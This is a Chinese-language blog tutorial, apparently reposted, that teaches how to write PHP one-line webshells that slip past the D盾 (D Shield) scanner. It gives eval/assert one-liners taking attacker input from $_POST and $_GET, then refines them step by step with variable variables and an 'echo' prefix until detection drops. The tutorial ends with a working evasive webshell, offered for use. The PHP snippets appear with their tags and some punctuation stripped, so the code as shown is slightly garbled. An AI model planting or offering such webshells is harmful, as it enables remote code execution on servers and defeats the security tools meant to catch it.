时间:2022-6-27来源:本站原创作者:佚名

其实绕过D盾的webshell,很好绕过,不需要对php的理解有多深入,其实往往最简单的方法就可以绕过D盾

我们就来一发简简单单绕过D盾的姿势方法。

ps,有友友留言说想看phpwebshell绕过D盾,这不是有手就行?

0x01一句话

PHP常见的命令执行/代码执行函数如下:(这里都不一一举例了)

eval()assert()system()shell()shell_exec()exec()call_user_func()call_user_func_array()array_filter()

常用的一句话如下:

?phpeval($_POST[a]);??phpassert(

$_POST[a]);?

0x02一句话绕过D盾

首先我们用php常用一句话

可以发现,直接就是5级eval后门

我们可以猜想把$_POST[a]这边换成一个变量,看看D盾的级别会是多少

可以发现还少了1级

如果我们把$a在变成一个定义好的变量呢?

上图可以发现,如果eval后面跟上定义好的变量,级别就会变成1,说明里面有说,是Eval后门,因为参数的问题。

现在呢,我们要运用到PHP的基础知识,可变变量,什么是可变变量,我在下方做出解释

下方代码输出$a

?php$a="w";echo$a;?

下方代码输出$$a

?php$a="w";$$a="c";echo$$a;?

此时我们呢,输出$w会发现是c,也不会报错$w不是变量,

当我们$$a的时候,把a和w都会被定义,这个就是可变变量

?php$a="w";$$a="c";echo$w;?

我们发现这样的小操作,是不是就可以演变到我们的一句话木马里面

?php$a=ww;$$a=$_GET[a];eval($ww);?

如上图发现,说参数ww是未知的内容,那么我们直接在第一行定义一下ww不就可以了?

?php$ww="heihei";$a=ww;$$a=$_GET[a];eval($ww);?

发现报可疑eval了,每当到这一步其实离成功就差一个小数点,我们利用php相关的特性和连接符,或者注释符,即可绕过

这里我们用echo让它理解成字符串即可绕过

?php$ww="heihei";$a=ww;$$a=$_GET[a];echoeval($ww);?

怎么样很简单吧。其实我们就了解php的基础语法就可以绕过。


转载请注明原文网址:http://www.coolofsoul.com/jsyy/jsyy/24198.html

------分隔线----------------------------